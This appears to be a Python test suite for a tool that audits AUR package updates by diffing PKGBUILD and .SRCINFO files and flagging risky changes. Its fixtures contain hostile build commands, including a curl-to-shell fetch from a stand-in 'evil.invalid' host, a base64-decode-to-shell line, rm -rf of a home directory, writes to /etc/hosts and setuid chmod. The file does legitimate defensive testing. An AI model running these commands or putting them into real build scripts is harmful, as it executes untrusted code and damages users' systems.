"""Audit rules. The tests that matter are the false-negative and false-positive ones: a missed `curl | sh` is dangerous, and a rule that fires on every benign version bump is worse than no rule at all, because the user stops reading. """ from __future__ import annotations import sys from pathlib import Path sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) from updater.audit import ( # noqa: E402 Change, Severity, audit, domain_of, filename_of, semantic_diff, ) from updater.srcinfo import parse_pkgbuild, parse_srcinfo # noqa: E402 BENIGN_OLD = """pkgbase = demo \tpkgver = 1.0.0 \tpkgrel = 1 \tsource = https://github.com/u/demo/archive/v1.0.0.tar.gz \tsha256sums = aaaa \tdepends = glibc pkgname = demo """ BENIGN_NEW = BENIGN_OLD.replace("1.0.0", "1.0.1").replace("sha256sums = aaaa", "sha256sums = bbbb") PKGBUILD = """pkgname=demo pkgver={ver} source=("{url}") sha256sums=('{sum}') depends=('glibc') build() {{ cd "$srcdir/demo-$pkgver" {body} }} """ def make( old_ver="1.0.0", new_ver="1.0.1", old_body="make", new_body="make", old_url="https://github.com/u/demo/archive/v1.0.0.tar.gz", new_url="https://github.com/u/demo/archive/v1.0.1.tar.gz", old_sum="aaaa", new_sum="bbbb", name="demo", ) -> Change: def si(ver, url, sum_, srcinfo=True): if srcinfo: return parse_srcinfo( f"pkgbase = {name}\n\tpkgver = {ver}\n\tpkgrel = 1\n" f"\tsource = {url}\n\tsha256sums = {sum_}\n\tdepends = glibc\n\n" f"pkgname = {name}\n" ) return None return Change( package=name, old_srcinfo=si(old_ver, old_url, old_sum), new_srcinfo=si(new_ver, new_url, new_sum), old_pkgbuild=parse_pkgbuild( PKGBUILD.format(ver=old_ver, url=old_url, sum=old_sum, body=old_body) ), new_pkgbuild=parse_pkgbuild( PKGBUILD.format(ver=new_ver, url=new_url, sum=new_sum, body=new_body) ), ) # -------------------------------------------------------------------------- # false positives: a boring version bump must stay boring # -------------------------------------------------------------------------- def test_benign_version_bump_has_no_loud_findings(): report = audit(make()) loud = report.loud assert not loud, f"benign bump produced {[f.rule for f in loud]}" assert report.verdict is Severity.INFO assert report.diff.pkgver == ("1.0.0", "1.0.1") def test_preexisting_patterns_are_not_reported_as_new(): """A curl|sh that has been there for years is not this update's problem.""" body = "curl https://x.invalid/i.sh | sh" report = audit(make(old_body=body, new_body=body)) assert not [f for f in report.findings if f.rule == "pipe-to-shell"], ( "pre-existing pipe-to-shell flagged as newly introduced" ) def test_preexisting_sudo_downgrades_to_silence(): report = audit(make(old_body="sudo make install", new_body="sudo make install")) assert not [f for f in report.findings if f.rule == "sudo-in-pkgbuild"] # -------------------------------------------------------------------------- # false negatives: genuinely dangerous changes must be caught # -------------------------------------------------------------------------- def test_newly_introduced_pipe_to_shell_is_blocked(): report = audit(make(new_body="curl https://evil.invalid/i.sh | sh")) blocked = [f for f in report.findings if f.severity is Severity.BLOCK] assert [f.rule for f in blocked] == ["pipe-to-shell"] assert "evil.invalid" in blocked[0].evidence assert blocked[0].where == "PKGBUILD" assert report.verdict is Severity.BLOCK def test_newly_introduced_sudo_is_blocked(): report = audit(make(new_body="sudo make install")) assert "sudo-in-pkgbuild" in [f.rule for f in report.findings] def test_base64_decode_to_shell_is_blocked(): report = audit(make(new_body="echo aGk= | base64 -d | sh")) assert "decode-to-shell" in [f.rule for f in report.findings if f.severity is Severity.BLOCK] def test_rm_outside_builddir_is_blocked(): report = audit(make(new_body='rm -rf "$HOME/.cache"')) assert "rm-outside-builddir" in [f.rule for f in report.findings] def test_writing_to_etc_during_build_is_blocked(): report = audit(make(new_body="echo something >> /etc/hosts")) assert "write-system-path" in [f.rule for f in report.findings] def test_setuid_bit_is_blocked(): report = audit(make(new_body="chmod u+s bin/tool")) assert "setuid" in [f.rule for f in report.findings] def test_network_fetch_inside_build_is_flagged(): report = audit(make(new_body="curl -O https://x.invalid/extra.tar.gz")) assert "network-in-build" in [f.rule for f in report.findings] def test_git_clone_inside_build_is_flagged(): report = audit(make(new_body="git clone https://x.invalid/thing")) assert "git-clone-in-build" in [f.rule for f in report.findings] def test_source_domain_change_is_flagged(): change = make(new_url="https://mirror.sketchy.invalid/demo-1.0.1.tar.gz") report = audit(change) moves = report.diff.sources_moved assert moves, "source move not detected" assert moves[0].new_domain == "mirror.sketchy.invalid" assert "source-domain-changed" in [f.rule for f in report.findings] def test_same_host_different_path_is_not_a_domain_change(): change = make(new_url="https://github.com/u/demo/archive/v1.0.1.tar.gz?v=2") report = audit(change) assert not [f for f in report.findings if f.rule == "source-domain-changed"] # -------------------------------------------------------------------------- # checksums # -------------------------------------------------------------------------- def test_skip_introduced_on_non_vcs_is_blocked(): new = BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP") change = make() change.new_srcinfo = parse_srcinfo(new) report = audit(change) blocked = [f.rule for f in report.findings if f.severity is Severity.BLOCK] assert "sums-skip-introduced" in blocked def test_skip_with_a_vcs_source_is_only_informational(): """A live repository cannot be checksummed, so SKIP is the only option.""" change = make(name="demo-git", new_url="git+https://github.com/u/demo.git#tag=v1.0.1") change.new_srcinfo = parse_srcinfo( BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP").replace( "source = https://github.com/u/demo/archive/v1.0.1.tar.gz", "source = git+https://github.com/u/demo.git#tag=v1.0.1", ) ) report = audit(change) rules = {f.rule: f.severity for f in report.findings} assert rules.get("sums-skip-vcs") is Severity.INFO assert "sums-skip-introduced" not in rules assert report.verdict is Severity.INFO def test_git_suffix_alone_does_not_excuse_skip(): """The package name is not evidence; the source scheme is.""" change = make(name="demo-git") change.new_srcinfo = parse_srcinfo(BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP")) report = audit(change) assert "sums-skip-introduced" in [ f.rule for f in report.findings if f.severity is Severity.BLOCK ] def test_preexisting_non_vcs_skip_is_not_reblocked(): """A long-standing SKIP on a tarball is bad, but it is not this update's news.""" change = make() change.old_srcinfo = parse_srcinfo(BENIGN_OLD.replace("sha256sums = aaaa", "sha256sums = SKIP")) change.new_srcinfo = parse_srcinfo(BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP")) report = audit(change) rules = {f.rule: f.severity for f in report.findings} assert rules.get("sums-skip-existing") is Severity.INFO assert "sums-skip-introduced" not in rules def test_pgp_key_removal_is_blocked(): change = make() change.old_srcinfo = parse_srcinfo(BENIGN_OLD + "\tvalidpgpkeys = ABC123\n") change.new_srcinfo = parse_srcinfo(BENIGN_NEW) report = audit(change) assert "pgpkey-removed" in [f.rule for f in report.findings if f.severity is Severity.BLOCK] # -------------------------------------------------------------------------- # maintainer / trust signals # -------------------------------------------------------------------------- def test_maintainer_change_is_flagged_with_both_names(): change = make() change.old_maintainer, change.new_maintainer = "olddev", "newdev" report = audit(change) finding = next(f for f in report.findings if f.rule == "maintainer-changed") assert "olddev" in finding.evidence and "newdev" in finding.evidence assert finding.severity is Severity.LOOK def test_orphaning_is_reported_as_context_not_a_block(): """Losing a maintainer is not the risk; gaining one is. An orphaned package is ordinary. It is being *adopted* that precedes an account takeover, so that is the case that earns attention. """ change = make() change.old_maintainer, change.new_maintainer = "olddev", "" report = audit(change) assert "orphaned" in [f.rule for f in report.findings if f.severity is Severity.INFO] assert not [f for f in report.findings if f.severity is Severity.BLOCK] def test_unchanged_maintainer_is_silent(): change = make() change.old_maintainer = change.new_maintainer = "samedev" assert "maintainer-changed" not in [f.rule for f in audit(change).findings] def test_new_replaces_is_flagged(): change = make() change.new_srcinfo = parse_srcinfo(BENIGN_NEW + "\treplaces = other-pkg\n") report = audit(change) finding = next(f for f in report.findings if f.rule == "new-replaces") assert "other-pkg" in finding.evidence def test_new_dependencies_are_listed_as_evidence(): change = make() change.new_srcinfo = parse_srcinfo(BENIGN_NEW + "\tdepends = python-attrs\n") report = audit(change) finding = next(f for f in report.findings if f.rule == "new-runtime-dep") assert "python-attrs" in finding.evidence # -------------------------------------------------------------------------- # semantic diff shape # -------------------------------------------------------------------------- def test_semantic_diff_counts_function_and_line_changes(): change = make(old_body="make", new_body="make\n make docs") diff = semantic_diff(change) assert diff.funcs_changed == ["build"] assert diff.lines_added >= 1 assert not diff.is_empty def test_identical_metadata_produces_an_empty_diff(): change = make( old_ver="1.0.0", new_ver="1.0.0", old_sum="aaaa", new_sum="aaaa", old_url="https://x.invalid/v1.tar.gz", new_url="https://x.invalid/v1.tar.gz", ) assert semantic_diff(change).is_empty def test_helpers(): assert domain_of("https://github.com/u/r/archive/v1.tar.gz") == "github.com" assert domain_of("local.patch") == "(local)" assert filename_of("https://github.com/u/r/archive/v1.tar.gz") == "v1.tar.gz" assert filename_of("https://x.invalid/a.tar.gz?token=1#frag") == "a.tar.gz" # a `filename::` prefix must not be mistaken for the host assert ( domain_of("alejandra-4.0.0.tar.gz::https://github.com/u/r/archive/x.tar.gz") == "github.com" ) assert ( filename_of("alejandra-4.0.0.tar.gz::https://github.com/u/r/x.tar.gz") == "alejandra-4.0.0.tar.gz" ) assert domain_of("git+https://github.com/u/r.git#tag=v1") == "github.com" def test_is_vcs_source_distinguishes_scheme_from_name(): from updater.audit import is_vcs_source assert is_vcs_source("git+https://github.com/u/r.git") assert is_vcs_source("svn+https://svn.example.org/repo") assert is_vcs_source("name::git+https://github.com/u/r.git") assert not is_vcs_source("https://github.com/u/r/archive/v1.tar.gz") assert not is_vcs_source("https://github.com/u/r.git") # pinned file, not a clone assert not is_vcs_source("local.patch") def test_domain_change_from_filename_prefix_only_is_not_flagged(): """Adding a `filename::` prefix is not a host change.""" change = make(new_url="demo-1.0.1.tar.gz::https://github.com/u/demo/archive/v1.0.1.tar.gz") report = audit(change) assert not [f for f in report.findings if f.rule == "source-domain-changed"] def test_a_broken_rule_does_not_kill_the_report(monkeypatch=None): """A rule raising must degrade to an informational finding, not a traceback.""" import updater.audit as mod original = mod.RULES try: def explode(change): raise RuntimeError("boom") mod.RULES = original + (explode,) report = audit(make(new_body="sudo make install")) assert any("rule failed" in f.title for f in report.findings) assert "sudo-in-pkgbuild" in [f.rule for f in report.findings] finally: mod.RULES = original def main() -> int: tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)] failed = 0 for name, fn in tests: try: fn() except Exception as exc: # noqa: BLE001 failed += 1 print(f"FAIL {name}\n {type(exc).__name__}: {exc}") else: print(f"ok {name}") print(f"\n{len(tests) - failed}/{len(tests)} passed") return 1 if failed else 0 if __name__ == "__main__": raise SystemExit(main())